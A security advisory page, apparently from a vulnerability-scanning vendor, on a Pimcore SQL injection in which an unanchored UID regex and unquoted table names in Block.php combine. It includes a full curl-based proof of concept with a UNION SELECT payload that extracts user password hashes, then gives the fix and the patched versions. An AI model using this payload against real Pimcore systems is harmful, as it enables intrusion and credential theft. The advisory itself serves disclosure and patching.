CVE-2026-55072 is a high-severity (CVSS 8.5) vulnerability in pimcore/pimcore. O3 Security confirms whether CVE-2026-55072 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name
Real-World Exposure
pimcore/pimcore🐘pimcore/pimcoreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.
Details
1. Missing end anchor in ClassDefinition UID validation
models/DataObject/ClassDefinition.php lines 1148-1154:
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}
Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.
Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:
if (!preg_match('/^[a-zA-Z]\w*$/', $key)) { // has $ — correct
return true;
}
3. Unquoted classId concatenation in Block.php
models/DataObject/ClassDefinition/Data/Block.php line 735:
$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id = ' . $object->getId();
$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.
Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:
$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);
Dao.php was hardened in commit dbe1d131e4 but Block.php was not.
PoC
Prerequisites:
- Pimcore 2026.1.x with Studio API enabled
- A user
lowprivwith only theobjectspermission
Step 1 — Authenticate as lowpriv and save the session cookie:
curl -s -c /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"lowpriv","password":"password"}'
Expected response:
{"message": "Login successful"}
Step 2 — Create a ClassDefinition with a malicious UID:
curl -s -b /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
-H "Content-Type: application/json" \
-d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'
Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.
The bypass can be verified independently in any PHP sandbox:
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) — PASSES, no exception thrown
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) — BLOCKED, correct behavior with $ anchor
Step 3 — Add a Block field to the malicious class (via the class editor UI or API)
In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.
Step 4 — Create a data object of the malicious class:
curl -s -b /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/data-objects" \
-H "Content-Type: application/json" \
-d '{"className":"PocClass","parentId":1,"key":"poc-object"}'
Note the returned object ID (e.g. 42).
Step 5 — Fetch the data object to trigger Block.php:735:
curl -s -b /tmp/cookies.txt \
"https://your-pimcore/pimcore-studio/api/data-objects/42"
When the object loads, Block::load() executes:
SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--
WHERE oo_id = 42
The -- comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the users table in the Block field value of the response.
Expected response (vulnerable):
The myblock field value in the response contains rows from the users table including password hashes.
Expected response (patched):
Step 2 fails with a validation exception — the UID is rejected before the class is created.
Recommended fix:
Add trailing $ anchors to both regex patterns in ClassDefinition.php:
// Before (vulnerable)
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
// After (correct)
if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {
Additionally, wrap $object->getClassId() in $db->quoteIdentifier() in Block.php lines 735, 744, 746, 748, 759, and 771, consistent with how Dao.php handles the same value.
Impact
An authenticated user with the objects permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the users table containing password hashes, using a UNION-based injection. The objects permission is a standard editor-level permission, not an admin privilege.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pimcore/pimcore | ≥ 2026.1.0&&< 2026.1.5 | 2026.1.5 |
| 🐘Packagist | pimcore/pimcore | all versions | 12.3.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/pimcore. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pimcore/pimcore to 2026.1.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55072 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55072 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55072. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55072 in your dependencies?
O3 detects CVE-2026-55072 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.